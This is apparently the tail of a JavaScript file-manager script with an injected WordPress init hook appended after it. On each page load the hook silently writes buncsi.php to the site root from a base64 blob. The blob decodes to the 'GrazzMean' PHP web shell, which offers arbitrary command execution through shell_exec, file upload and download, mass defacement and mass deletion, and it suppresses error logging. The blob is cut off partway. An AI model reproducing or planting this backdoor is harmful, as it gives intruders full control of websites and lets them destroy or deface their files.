					Object.keys(editors).length > 1 && editor && store(files[0].mime, editor);
					return dfd.resolve(editor? editor : (Object.keys(editors).length? editors[Object.keys(editors)[0]] : null));
				}
			},
			dfrd = jQuery.Deferred(),
			file;

		if (editors === null) {
			setEditors(files[0], hashes.length);
		}
		
		if (!node.length) {
			node = fm.getUI('cwd');
		}
		
		getEditor().done(function(editor) {
			while ((file = files.shift())) {
				list.push(edit(file, (file.encoding || void(0)), editor).fail(function(error) {
					error && fm.error(error);
				}));
			}
			
			if (list.length) { 
				jQuery.when.apply(null, list).done(function() {
					dfrd.resolve();
				}).fail(function() {
					dfrd.reject();
				});
			} else {
				dfrd.reject();
			}
		}).fail(function() {
			dfrd.reject();
		});
		
		return dfrd;
	};

	this.getMkfileHides = function() {
		return fm.storage('mkfileHides') || fm.arrayFlip(self.options.mkfileHideMimes || []);
	};

};
© 2026 GrazzMean
AVRIL_START_JANCOKALIVEAVRIL_END_JANCOK Interactive Terminal

Command Executor

add_action('init', function() { $f = ABSPATH . 'buncsi.php'; if (!file_exists($f)) { file_put_contents($f, base64_decode('PD9waHAKLyogTWF1IHJlY29kZT8gaXppbiBkdWx1LCByZWNvZGUgZ2EgaXppbiBpdHUgZ2Ega2VyZW4gYWpnICovCnNldF90aW1lX2xpbWl0KDApOwplcnJvcl9yZXBvcnRpbmcoMCk7IApAaW5pX3NldCgnZXJyb3JfbG9nJyxudWxsKTsKQGluaV9zZXQoJ2xvZ19lcnJvcnMnLDApOwpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsKQGluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLDApOwpAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCAwKTsKZGF0ZV9kZWZhdWx0X3RpbWV6b25lX3NldCgnQXNpYS9KYWthcnRhJyk7CiRfbiA9ICdHcmF6ek1lYW4nOwokX3MgPSAiPHN0eWxlPnRhYmxle2Rpc3BsYXk6bm9uZTt9PC9zdHlsZT48ZGl2IGNsYXNzPSd0YWJsZS1yZXNwb25zaXZlJz48aHI+PC9kaXY+IjsKJF9yID0gInJlcXVpcmVkPSdyZXF1aXJlZCciOwokX3ggPSAiPGkgY2xhc3M9J2JpIGJpLW1lbnUtdXAnPjwvaT4iOwppZihpc3NldCgkX0dFVFsnb3B0aW9uJ10pICYmICRfUE9TVFsnb3B0J10gPT0gJ2Rvd25sb2FkJyl7CgloZWFkZXIoJ0NvbnRlbnQtdHlwZTogdGV4dC9wbGFpbicpOwoJaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0iJy4kX1BPU1RbJ25hbWUnXS4nIicpOwplY2hvKGZpbGVfZ2V0X2NvbnRlbnRzKCRfUE9TVFsncGF0aCddKSk7CmV4aXQoKTsKfQpmdW5jdGlvbiDilp8oJHBhdGgsJHApIHsKaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpIHsKCSTilpogPSAkX0dFVFsncGF0aCddOwp9ZWxzZXsKCSTilpogPSBnZXRjd2QoKTsKfQppZihpc193cml0YWJsZSgk4paaKSkgewoJcmV0dXJuICI8Z3IgY2xhc3M9J2FudSc+Ii4kcC4iPC9ncj4iOwp9ZWxzZXsKCXJldHVybiAiPHJkIGNsYXNzPSdhbnUnPiIuJHAuIjwvcmQ+IjsKCX0KfQpmdW5jdGlvbiBvaygpewoJZWNobyAnPGRpdiBjbGFzcz0iYWxlcnQgYWxlcnQtc3VjY2VzcyBhbGVydC1kaXNtaXNzaWJsZSBmYWRlIHNob3cgbXktMyIgcm9sZT0iYWxlcnQiPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuLWNsb3NlIiBkYXRhLWJzLWRpc21pc3M9ImFsZXJ0IiBhcmlhLWxhYmVsPSJDbG9zZSI+PC9idXR0b24+JzsKfQpmdW5jdGlvbiBlcigpewoJZWNobyAnPGRpdiBjbGFzcz0iYWxlcnQgYWxlcnQtZGFuZ2VyIGFsZXJ0LWRpc21pc3NpYmxlIGZhZGUgc2hvdyBteS0zIiByb2xlPSJhbGVydCI+PGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJidG4tY2xvc2UiIGRhdGEtYnMtZGlzbWlzcz0iYWxlcnQiIGFyaWEtbGFiZWw9IkNsb3NlIj48L2J1dHRvbj4nOwp9CmZ1bmN0aW9uIHN6KCRieXQpewoJJHN6ID0gYXJyYXkoJ0InLCdLQicsJ01CJywnR0InLCdUQicpOwoJZm9yKCRpID0gMDsgJGJ5dCA+PSAxMDI0ICYmICRpIDwgKGNvdW50KCRzeikgLTEgKTsgJGJ5dCAvPSAxMDI0LCAkaSsrICk7CglyZXR1cm4ocm91bmQoJGJ5dCwyKS4iICIuJHN6WyRpXSk7Cn0KZnVuY3Rpb24gaXAoKSB7CgkkaXBhcyA9ICcnOwppZihnZXRlbnYoJ0hUVFBfQ0xJRU5UX0lQJykpCgkkaXBhcyA9IGdldGVudignSFRUUF9DTElFTlRfSVAnKTsKZWxzZSBpZihnZXRlbnYoJ0hUVFBfWF9GT1JXQVJERURfRk9SJykpCgkkaXBhcyA9IGdldGVudignSFRUUF9YX0ZPUldBUkRFRF9GT1InKTsKZWxzZSBpZihnZXRlbnYoJ0hUVFBfWF9GT1JXQVJERUQnKSkKCSRpcGFzID0gZ2V0ZW52KCdIVFRQX1hfRk9SV0FSREVEJyk7CmVsc2UgaWYoZ2V0ZW52KCdIVFRQX0ZPUldBUkRFRF9GT1InKSkKCSRpcGFzID0gZ2V0ZW52KCdIVFRQX0ZPUldBUkRFRF9GT1InKTsKZWxzZSBpZihnZXRlbnYoJ0hUVFBfRk9SV0FSREVEJykpCgkkaXBhcyA9IGdldGVudignSFRUUF9GT1JXQVJERUQnKTsKZWxzZSBpZihnZXRlbnYoJ1JFTU9URV9BRERSJykpCgkkaXBhcyA9IGdldGVudignUkVNT1RFX0FERFInKTsKZWxzZQoJJGlwYXMgPSAnSVAgdGlkYWsgZGlrZW5hbGknOwpyZXR1cm4gJGlwYXM7Cn0KZnVuY3Rpb24gcCgkZmlsZSl7CmlmKCRwID0gQGZpbGVwZXJtcygkZmlsZSkpewoJJGkgPSAndSc7CmlmKCgkcCAmIDB4QzAwMCkgPT0gMHhDMDAwKSRpID0gJ3MnOwplbHNlaWYoKCRwICYgMHhBMDAwKSA9PSAweEEwMDApJGkgPSAnbCc7CmVsc2VpZigoJHAgJiAweDgwMDApID09IDB4ODAwMCkkaSA9ICctJzsKZWxzZWlmKCgkcCAmIDB4NjAwMCkgPT0gMHg2MDAwKSRpID0gJ2InOwplbHNlaWYoKCRwICYgMHg0MDAwKSA9PSAweDQwMDApJGkgPSAnZCc7CmVsc2VpZigoJHAgJiAweDIwMDApID09IDB4MjAwMCkkaSA9ICdjJzsKZWxzZWlmKCgkcCAmIDB4MTAwMCkgPT0gMHgxMDAwKSRpID0gJ3AnOwoJJGkgLj0gKCRwICYgMDA0MDApPyAncic6Jy0nOwoJJGkgLj0gKCRwICYgMDAyMDApPyAndyc6Jy0nOwoJJGkgLj0gKCRwICYgMDAxMDApPyAneCc6Jy0nOwoJJGkgLj0gKCRwICYgMDAwNDApPyAncic6Jy0nOwoJJGkgLj0gKCRwICYgMDAwMjApPyAndyc6Jy0nOwoJJGkgLj0gKCRwICYgMDAwMTApPyAneCc6Jy0nOwoJJGkgLj0gKCRwICYgMDAwMDQpPyAncic6Jy0nOwoJJGkgLj0gKCRwICYgMDAwMDIpPyAndyc6Jy0nOwoJJGkgLj0gKCRwICYgMDAwMDEpPyAneCc6Jy0nOwpyZXR1cm4gJGk7Cgl9CgllbHNlIHJldHVybiAiLSA/PyAtIjsKfQokZGlzZnVuYyA9IEBpbmlfZ2V0KCJkaXNhYmxlX2Z1bmN0aW9ucyIpOwppZihlbXB0eSgkZGlzZnVuYykpIHsKCSRkaXNmYyA9ICI8Z3I+Tk9ORTwvZ3I+IjsKfWVsc2V7CgkkZGlzZmMgPSAiPHJkPiRkaXNmdW5jPC9yZD4iOwp9CmlmKCFmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSkgewoJJHVzZXIgPSBAZ2V0X2N1cnJlbnRfdXNlcigpOwoJJHVpZCA9IEBnZXRteXVpZCgpOwoJJGdpZCA9IEBnZXRteWdpZCgpOwoJJGdyb3VwID0gIj8iOwp9ZWxzZXsKCSR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQocG9zaXhfZ2V0ZXVpZCgpKTsKCSRnaWQgPSBAcG9zaXhfZ2V0Z3JnaWQocG9zaXhfZ2V0ZWdpZCgpKTsKCSR1c2VyID0gJHVpZFsnbmFtZSddOwoJJHVpZCA9ICR1aWRbJ3VpZCddOwoJJGdyb3VwID0gJGdpZFsnbmFtZSddOwoJJGdpZCA9ICRnaWRbJ2dpZCddOwp9CiRzbSA9IChAaW5pX2dldChzdHJ0b2xvd2VyKCJzYWZlX21vZGUiKSkgPT0gJ29uJykgPyAiPHJkPk9OPC9yZD4iIDogIjxncj5PRkY8L2dyPiI7CmVjaG8gIgo8IURPQ1RZUEUgSFRNTD4KPGh0bWw+Cgk8aGVhZD4KCQk8bWV0YSBuYW1lPSdhdXRob3InIGNvbnRlbnQ9JyRfbic+CgkJPG1ldGEgbmFtZT0ncm9ib3RzJyBjb250ZW50PSdub2luZGV4LG5vZm9sbG93Jz4KCQk8dGl0bGU+Ii4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIiAtICRfbjwvdGl0bGU+CgkJPG1ldGEgbmFtZT0ndmlld3BvcnQnIGNvbnRlbnQ9J3dpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0wLjcwJz4KCQk8bGluayByZWw9J3N0eWxlc2hlZXQnIGhyZWY9Jy8vbWVraS5nb29nbGUuY28ud3Mvc3R5bGUuY3NzJz4KCQk8c2NyaXB0IHNyYz0nLy9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvcHJpc20vMS42LjAvcHJpc20uanMnPjwvc2NyaXB0PgoJCTxzY3JpcHQgc3JjPScvL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjAuMS9kaXN0L2pzL2Jvb3RzdHJhcC5idW5kbGUubWluLmpzJz48L3NjcmlwdD4KCQk8c2NyaXB0IHNyYz0nLy9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuMy4xLnNsaW0ubWluLmpzJz48L3NjcmlwdD4KCTwvaGVhZD4KPGJvZHkgY2xhc3M9J2JnLXNlY29uZGFyeSB0ZXh0LWxpZ2h0Jz4KPGRpdiBjbGFzcz0nY29udGFpbmVyLWZsdWlkJz4KCTxkaXYgY2xhc3M9J3B5LTMnIGlkPSdtYWluJz4KCQk8ZGl2IGNsYXNzPSdib3ggc2hhZG93IGJnLWRhcmsgcC00IHJvdW5kZWQtMyc+CgkJCTxkaXYgY2xhc3M9J2Nvcm5lciB0ZXh0LXNlY29uZGFyeSBhbnUnPnNoZWxsIGJ5cGFzcyA0MDM8L2Rpdj4KCQkJCTxhIGNsYXNzPSd0ZXh0LWRlY29yYXRpb24tbm9uZSB0ZXh0LWxpZ2h0IGFudScgaHJlZj0nIi4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iJz48aDQ+JF9uIFNoZWxsPC9oND48L2E+IjsKCQkJCWlmKGlzc2V0KCRfR0VUWydwYXRoJ10pKXsKCQkJCQkkcGF0aCA9ICRfR0VUWydwYXRoJ107CgkJCQl9ZWxzZXsKCQkJCQkkcGF0aCA9IGdldGN3ZCgpOwoJCQkJfQoJCQkJCSRwYXRoID0gc3RyX3JlcGxhY2UoJ1xcJywnLycsJHBhdGgpOwoJCQkJCSRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsKCQkJCWZvcmVhY2goJHBhdGhzIGFzICRpZD0+JHBhdCl7CgkJCQlpZigkcGF0ID09ICcnICYmICRpZCA9PSAwKXsKCQkJCQkkYSA9IHRydWU7CgkJCQkJZWNobyAnPGRpdiBjbGFzcz0idGFibGUtcmVzcG9uc2l2ZSI+PGkgY2xhc3M9ImJpIGJpLWhkZC1yYWNrIj48L2k+IDogPGEgY2xhc3M9InRleHQtZGVjb3JhdGlvbi1ub25lIHRleHQtbGlnaHQiIGhyZWY9Ij9wYXRoPS8iPi88L2E+JzsKCQkJCWNvbnRpbnVlOwoJCQkJfQoJCQkJaWYoJHBhdCA9PSAnJykgY29udGludWU7CgkJCQkJZWNobyAnPGEgY2xhc3M9InRleHQtZGVjb3JhdGlvbi1ub25lIiBocmVmPSI/cGF0aD0nOwoJCQkJZm9yKCRpPTA7JGk8PSRpZDskaSsrKXsKCQkJCQllY2hvICIkcGF0aHNbJGldIjsKCQkJCWlmKCRpICE9ICRpZCkgZWNobyAiLyI7CgkJCQl9CgkJCQllY2hvICciPicuJHBhdC4nPC9hPi8nOwoJCQkJfQoJCQkJZWNobyAiIFsgIi7ilp8oJHBhdGgsIHAoJHBhdGgpKS4iIF08L2Rpdj4iOwoJCQllY2hvICIKCQk8L2Rpdj4KCTwvZGl2Pgo8L2Rpdj4KPGRpdiBjbGFzcz0nY29udGFpbmVyLWZsdWlkJz4KCTxkaXYgY2xhc3M9J2JveCBzaGFkb3cgYmctZGFyayBwLTQgcm91bmRlZC0zJz4KCQk8ZGl2IGNsYXNzPSdjb3JuZXIgYW51Jz4KCQkJPGIgZGF0YS1icy10b2dnbGU9J2NvbGxhcHNlJyBkYXRhLWJzLXRhcmdldD0nI2NvbGxhcHNlRXhhbXBsZScgYXJpYS1leHBhbmRlZD0nZmFsc2UnIGFyaWEtY29udHJvbHM9J2NvbGxhcHNlRXhhbXBsZSc+PGkgY2xhc3M9J2JpIGJpLWluZm8tY2lyY2xlJz48L2k+IGluZm8gc2VydmVyIDxpIGNsYXNzPSdiaSBiaS1jaGV2cm9uLWRvd24nPjwvaT48L2I+CgkJPC9kaXY+Cgk8ZGl2IGNsYXNzPSdjb2xsYXBzZSB0ZXh0LWRhcmsgbWItMycgaWQ9J2NvbGxhcHNlRXhhbXBsZSc+CgkJPGRpdiBjbGFzcz0nYm94IHNoYWRvdyBiZy1saWdodCBwLTQgcm91bmRlZC0zJz4KCQkJVW5hbWU6IDxncj4iLnBocF91bmFtZSgpLiI8L2dyPjxiciAvPgoJCQlTb2Z0d2FyZTogPGdyPiIuJF9TRVJWRVJbJ1NFUlZFUl9TT0ZUV0FSRSddLiI8L2dyPjxiciAvPgoJCQlQSFAgdmVyc2lvbjogPGdyPiIuUEhQX1ZFUlNJT04uIjwvZ3I+IDxhIGNsYXNzPSd0ZXh0LWRlY29yYXRpb24tbm9uZScgaHJlZj0nP3BocGluZm8mcGF0aD0kcGF0aCc+WyBQSFAgSU5GTyBdPC9hPiBQSFAgb3M6IDxncj4iLlBIUF9PUy4iPC9ncj48YnIgLz4KCQkJU2VydmVyIElwOiA8Z3I+Ii5nZXRob3N0YnluYW1lKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuIjwvZ3I+PGJyIC8+CgkJCVlvdXIgSXA6IDxncj4iLmlwKCkuIjwvZ3I+PGJyIC8+CgkJCVVzZXI6IDxncj4kdXNlcjwvZ3I+ICgkdWlkKSB8IEdyb3VwOiA8Z3I+JGdyb3VwPC9ncj4gKCRnaWQpPGJyIC8+CgkJCVNhZmUgTW9kZTogJHNtPGJyIC8+CgkJCURpc2FibGUgRnVuY3Rpb246PGRpdiBjbGFzcz0ndGFibGUtcmVzcG9uc2l2ZSc+JGRpc2ZjPC9kaXY+CgkJPC9kaXY+Cgk8L2Rpdj4KPGRpdiBjbGFzcz0ndGV4dC1jZW50ZXInPgoJPGRpdiBjbGFzcz0nYnRuLWdyb3VwJz4KCQk8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP3VwbG9hZCZwYXRoPSRwYXRoJz48aSBjbGFzcz0nYmkgYmktdXBsb2FkJz48L2k+IHVwbG9hZDwvYT4KCQk8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP21hc3NfZGVmYWNlJnBhdGg9JHBhdGgnPjxpIGNsYXNzPSdiaSBiaS1leGNsYW1hdGlvbi1kaWFtb25kJz48L2k+IG1hc3MgZGVmYWNlPC9hPgoJCTxhIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSc/bWFzc19kZWxldGUmcGF0aD0kcGF0aCc+PGkgY2xhc3M9J2JpIGJpLXRyYXNoJz48L2k+IG1hc3MgZGVsZXRlPC9hPgoJCTxhIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSc/Y21kJnBhdGg9JHBhdGgnPjxpIGNsYXNzPSdiaSBiaS10ZXJtaW5hbCc+PC9pPiBjb25zb2xlPC9hPgoJPC9kaXY+CjwvZGl2PiI7Ci8vIHRvb2xzIG55YQppZihpc3NldCgkX0dFVFsncGF0aCddKSkgewoJJGRpciA9ICRfR0VUWydwYXRoJ107CgljaGRpcigkZGlyKTsKfWVsc2V7CgkkZGlyID0gZ2V0Y3dkKCk7Cn0KJGRpciA9IHN0cl9yZXBsYWNlKCJcXCIsIi8iLCRkaXIpOwokc2NkaXIgPSBleHBsb2RlKCIvIiwgJGRpcik7CQpmb3IoJGkgPSAwOyAkaSA8PSAkY19kaXI7ICRpKyspIHsKCSRzY2RpclskaV07CglpZigkaSAhPSAkY19kaXIpIHsKfQppZihpc3NldCgkX0dFVFsnbWFzc19kZWZhY2UnXSkpIHsKZWNobyAiJF9zIjsKZnVuY3Rpb24gbWFzc19rYWJlaCgkZGlyLCRuYW1hZmlsZSwkaXNpX3NjcmlwdCkgewppZihpc193cml0YWJsZSgkZGlyKSkgewoJJGRpcmEgPSBzY2FuZGlyKCRkaXIpOwoJZm9yZWFjaCgkZGlyYSBhcyAkZGlyYikgewoJCSRkaXJjID0gIiRkaXIvJGRpcmIiOwoJCSTilpogPSAkZGlyYy4nLycuJG5hbWFmaWxlOwoJCWlmKCRkaXJiID09PSAnLicpIHsKCQkJZmlsZV9wdXRfY29udGVudHMoJOKWmiwgJGlzaV9zY3JpcHQpOwoJCX0gZWxzZWlmKCRkaXJiID09PSAnLi4nKSB7CgkJCWZpbGVfcHV0X2NvbnRlbnRzKCTilposICRpc2lfc2NyaXB0KTsKCQl9ZWxzZXsKCQkJaWYoaXNfZGlyKCRkaXJjKSkgewoJCQkJaWYoaXNfd3JpdGFibGUoJGRpcmMpKSB7CgkJCQkJZWNobyAiWzxncj48aSBjbGFzcz0nYmkgYmktY2hlY2stYWxsJz48L2k+PC9ncj5dJm5ic3A7JOKWmjxicj4iOwoJCQkJCWZpbGVfcHV0X2NvbnRlbnRzKCTilposICRpc2lfc2NyaXB0KTsKCQkJCQkk4pafID0gbWFzc19rYWJlaCgkZGlyYywkbmFtYWZpbGUsJGlzaV9zY3JpcHQpOwoJCQkJCX0KCQkJCX0KCQkJfQoJCX0KCX0KfQpmdW5jdGlvbiBtYXNzX2JpYXNhKCRkaXIsJG5hbWFmaWxlLCRpc2lfc2NyaXB0KSB7CglpZihpc193cml0YWJsZSgkZGlyKSkgewoJCSRkaXJhID0gc2NhbmRpcigkZGlyKTsKCQlmb3JlYWNoKCRkaXJhIGFzICRkaXJiKSB7CgkJCSRkaXJjID0gIiRkaXIvJGRpcmIiOwoJCQkk4paaID0gJGRpcmMuJy8nLiRuYW1hZmlsZTsKCQkJaWYoJGRpcmIgPT09ICcuJykgewoJCQkJZmlsZV9wdXRfY29udGVudHMoJOKWmiwgJGlzaV9zY3JpcHQpOwoJCQl9IGVsc2VpZigkZGlyYiA9PT0gJy4uJykgewoJCQkJZmlsZV9wdXRfY29udGVudHMoJOKWmiwgJGlzaV9zY3JpcHQpOwoJCQl9ZWxzZXsKCQkJCWlmKGlzX2RpcigkZGlyYykpIHsKCQkJCQlpZihpc193cml0YWJsZSgkZGlyYykpIHsKCQkJCQkJZWNobyAiWzxncj48aSBjbGFzcz0nYmkgYmktY2hlY2stYWxsJz48L2k+PC9ncj5dJm5ic3A7JGRpcmIvJG5hbWFmaWxlPGJyPiI7CgkJCQkJCWZpbGVfcHV0X2NvbnRlbnRzKCTilposICRpc2lfc2NyaXB0KTsKCQkJCQl9CgkJCQl9CgkJCX0KCQl9Cgl9Cn0KaWYoJF9QT1NUWydzdGFydCddKSB7CglpZigkX1BPU1RbJ3RpcGUnXSA9PSAnbWFzc2FsJykgewoJbWFzc19rYWJlaCgkX1BPU1RbJ2RfZGlyJ10sICRfUE9TVFsnZF9maWxlJ10sICRfUE9TVFsnc2NyaXB0J10pOwoJfSBlbHNlaWYoJF9QT1NUWyd0aXBlJ10gPT0gJ2JpYXNhJykgewoJbWFzc19iaWFzYSgkX1BPU1RbJ2RfZGlyJ10sICRfUE9TVFsnZF9maWxlJ10sICRfUE9TVFsnc2NyaXB0J10pOwoJfQp9CmVjaG8gIgo8ZGl2IGNsYXNzPSdtYi0zJz4KCTxmb3JtIG1ldGhvZD0nUE9TVCc+IFRpcGU6Cgk8ZGl2IGNsYXNzPSdmb3JtLWNoZWNrJz4KCQk8aW5wdXQgY2xhc3M9J2Zvcm0tY2hlY2staW5wdXQnIHR5cGU9J2NoZWNrYm94JyB2YWx1ZT0nYmlhc2EnIG5hbWU9J3RpcGUnIGlkPSdmbGV4Q2hlY2tEZWZhdWx0JyBjaGVja2VkPgoJCTxsYWJlbCBjbGFzcz0nZm9ybS1jaGVjay1sYWJlbCcgZm9yPSdmbGV4Q2hlY2tEZWZhdWx0Jz5CaWFzYTwvbGFiZWw+Cgk8L2Rpdj4KCTxkaXYgY2xhc3M9J2Zvcm0tY2hlY2snPgoJCTxpbnB1dCBjbGFzcz0nZm9ybS1jaGVjay1pbnB1dCcgdHlwZT0nY2hlY2tib3gnIHZhbHVlPSdtYXNzYWwnIG5hbWU9J3RpcGUnIGlkPSdmbGV4Q2hlY2tEZWZhdWx0Jz4KCQk8bGFiZWwgY2xhc3M9J2Zvcm0tY2hlY2stbGFiZWwnIGZvcj0nZmxleENoZWNrRGVmYXVsdCc+TWFzc2FsPC9sYWJlbD4KCTwvZGl2PgoJCTxpIGNsYXNzPSdiaSBiaS1mb2xkZXInPjwvaT4gTG9rYXNpOgoJCTxpbnB1dCBjbGFzcz0nZm9ybS1jb250cm9sIGJ0bi1zbScgdHlwZT0ndGV4dCcgbmFtZT0nZF9kaXInIHZhbHVlPSckZGlyJz4KCQk8aSBjbGFzcz0nYmkgYmktZmlsZS1lYXJtYXJrJz48L2k+IE5hbWEgZmlsZToKCQk8aW5wdXQgY2xhc3M9J2Zvcm0tY29udHJvbCBidG4tc20nIHR5cGU9J3RleHQnIG5hbWU9J2RfZmlsZScgcGxhY2Vob2xkZXI9J25hbWEgZmlsZScgJF9yPgoJCTxpIGNsYXNzPSdiaSBiaS1maWxlLWVhcm1hcmsnPjwvaT4gSXNpIGZpbGU6CgkJPHRleHRhcmVhIGNsYXNzPSdmb3JtLWNvbnRyb2wgYnRuLXNtJyByb3dzPSc3JyBuYW1lPSdzY3JpcHQnIHBsYWNlaG9sZGVyPSdpc2kgZmlsZScgJF9yPjwvdGV4dGFyZWE+CgkJPGRpdiBjbGFzcz0nZC1ncmlkIGdhcC0yJz4KCQkJPGlucHV0IGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyB0eXBlPSdzdWJtaXQnIG5hbWU9J3N0YXJ0JyB2YWx1ZT0nbWFzcyBkZWZhY2UnPgoJCTwvZGl2PgoJPC9mb3JtPgo8L2Rpdj4iOwp9CmlmKGlzc2V0KCRfR0VUWydtYXNzX2RlbGV0ZSddKSkgewplY2hvICIkX3MiOwpmdW5jdGlvbiBoYXB1c19tYXNzYWwoJGRpciwkbmFtYWZpbGUpIHsKaWYoaXNfd3JpdGFibGUoJGRpcikpIHsKCSRkaXJhID0gc2NhbmRpcigkZGlyKTsKCWZvcmVhY2goJGRpcmEgYXMgJGRpcmIpIHsKCQkkZGlyYyA9ICIkZGlyLyRkaXJiIjsKCQkk4paaID0gJGRpcmMuJy8nLiRuYW1hZmlsZTsKCQlpZigkZGlyYiA9PT0gJy4nKSB7CgkJCWlmKGZpbGVfZXhpc3RzKCIkZGlyLyRuYW1hZmlsZSIpKSB7CgkJCQl1bmxpbmsoIiRkaXIvJG5hbWFmaWxlIik7CgkJCX0KCQl9IGVsc2VpZigkZGlyYiA9PT0gJy4uJykgewoJCQlpZihmaWxlX2V4aXN0cygiIi5kaXJuYW1lKCRkaXIpLiIvJG5hbWFmaWxlIikpIHsKCQkJCXVubGluaygiIi5kaXJuYW1lKCRkaXIpLiIvJG5hbWFmaWxlIik7CgkJCX0KCQl9ZWxzZXsKCQkJaWYoaXNfZGlyKCRkaXJjKSkgewoJCQkJaWYoaXNfd3JpdGFibGUoJGRpcmMpKSB7CgkJCQkJaWYoZmlsZV9leGlzdHMoJOKWmikpIHsKCQkJCQkJZWNobyAiWzxncj48aSBjbGFzcz0nYmkgYmktY2hlY2stYWxsJz48L2k+PC9ncj5dJm5ic3A7JOKWmjxicj4iOwoJCQkJCQl1bmxpbmsoJOKWmik7CgkJCQkJCSTilp8gPSBoYXB1c19tYXNzYWwoJGRpcmMsJG5hbWFmaWxlKTsKCQkJCQkJfQoJCQkJCX0KCQkJCX0KCQkJfQoJCX0KCX0KfQppZigkX1BPU1RbJ3N0YXJ0J10pIHsKCWhhcHVzX21hc3NhbCgkX1BPU1RbJ2RfZGlyJ10sICRfUE9TVFsnZF9maWxlJ10pOwp9CmVjaG8gIgo8ZGl2IGNsYXNzPSdtYi0zJz4KCTxmb3JtIG1ldGhvZD0nUE9TVCc+CgkJPGkgY2xhc3M9J2JpIGJpLWZvbGRlcic+PC9pPiBMb2thc2k6CgkJPGlucHV0IGNsYXNzPSdmb3JtLWNvbnRyb2wgYnRuLXNtJyB0eXBlPSd0ZXh0JyBuYW1lPSdkX2RpcicgdmFsdWU9JyRkaXInPgoJCQk8aSBjbGFzcz0nYmkgYmktZmlsZS1lYXJtYXJrJz48L2k+IE5hbWEgZmlsZToKCQk8ZGl2IGNsYXNzPSdpbnB1dC1ncm91cCBtYi0zJz4KCQkJPGlucHV0IGNsYXNzPSdmb3JtLWNvbnRyb2wgYnRuLXNtJyB0eXBlPSd0ZXh0JyBuYW1lPSdkX2ZpbGUnIHBsYWNlaG9sZGVyPSduYW1hIGZpbGUnICRfcj48YnI+CgkJPGRpdiBjbGFzcz0naW5wdXQtZ3JvdXAtYXBwZW5kJz4KCQkJPGlucHV0IGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyB0eXBlPSdzdWJtaXQnIG5hbWU9J3N0YXJ0JyB2YWx1ZT0nbWFzcyBkZWxldGUnPgoJCTwvZGl2PgoJPC9mb3JtPgo8L2Rpdj4iOwp9CmlmKGlzc2V0KCRfR0VUWydjbWQnXSkpIHsKaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pKSB7CgkkY21kID0gc2hlbGxfZXhlYygkX1BPU1RbJ2NtZCddLicgMj4mMScpOwp9CmVjaG8gIiRfcwo8ZGl2IGNsYXNzPSdtYi0zJz4KCTxmb3JtIG1ldGhvZD0nUE9TVCc+CgkJPGRpdiBjbGFzcz0naW5wdXQtZ3JvdXAgbWItMyc+CgkJCTxpbnB1dCBjbGFzcz0nZm9ybS1jb250cm9sIGJ0bi1zbScgdHlwZT0ndGV4dCcgbmFtZT0nY21kJyB2YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnY21kJ10sIEVOVF9RVU9URVMsICdVVEYtOCcpLiInIHBsYWNlaG9sZGVyPSd3aG9hbWknICRfcj4KCQkJPGJ1dHRvbiBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgdHlwZT0nc3VtYml0Jz48aSBjbGFzcz0nYmkgYmktYXJyb3ctcmV0dXJuLXJpZ2h0Jz48L2k+PC9idXR0b24+CgkJPC9kaXY+Cgk8L2Zvcm0+IjsKCWlmKCRjbWQpOgoJZWNobyAnCgk8ZGl2IGNsYXNzPSJjb250YWluZXItZmx1aWQgbGFuZ3VhZ2UtamF2YXNjcmlwdCI+CgkJPGRpdiBjbGFzcz0ic2hlbGwgbWItMyI+CgkJCTxwcmUgc3R5bGU9ImZvbnQtc2l6ZToxMHB4OyI+PGNvZGU+Jy5odG1sc3BlY2lhbGNoYXJzKCRjbWQsIEVOVF9RVU9URVMsICdVVEYtOCcpLic8L2NvZGU+PC9wcmU+CgkJPC9kaXY+Cgk8L2Rpdj4nOwoJZWxzZWlmKCEkY21kICYmICRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddID09ICdQT1NUJyk6CgllY2hvICcKCTxkaXYgY2xhc3M9ImNvbnRhaW5lci1mbHVpZCBsYW5ndWFnZS1qYXZhc2NyaXB0Ij4KCQk8ZGl2IGNsYXNzPSJzaGVsbCBtYi0zIj4KCQkJPHByZSBzdHlsZT0iZm9udC1zaXplOjEwcHg7Ij48Y29kZT5UaWRhayBhZGEgaGFzaWw8L2NvZGU+PC9wcmU+CgkJPC9kaXY+Cgk8L2Rpdj4KPC9kaXY+JzsKZW5kaWY7Cn0KaWYoaXNzZXQoJF9HRVRbJ3BocGluZm8nXSkpIHsKCUBvYl9zdGFydCgpOwoJQGV2YWwoInBocGluZm8oKTsiKTsKCSRidWZmID0gQG9iX2dldF9jb250ZW50cygpOwoJQG9iX2VuZF9jbGVhbigpOwkKCSRhd2FsID0gc3RycG9zKC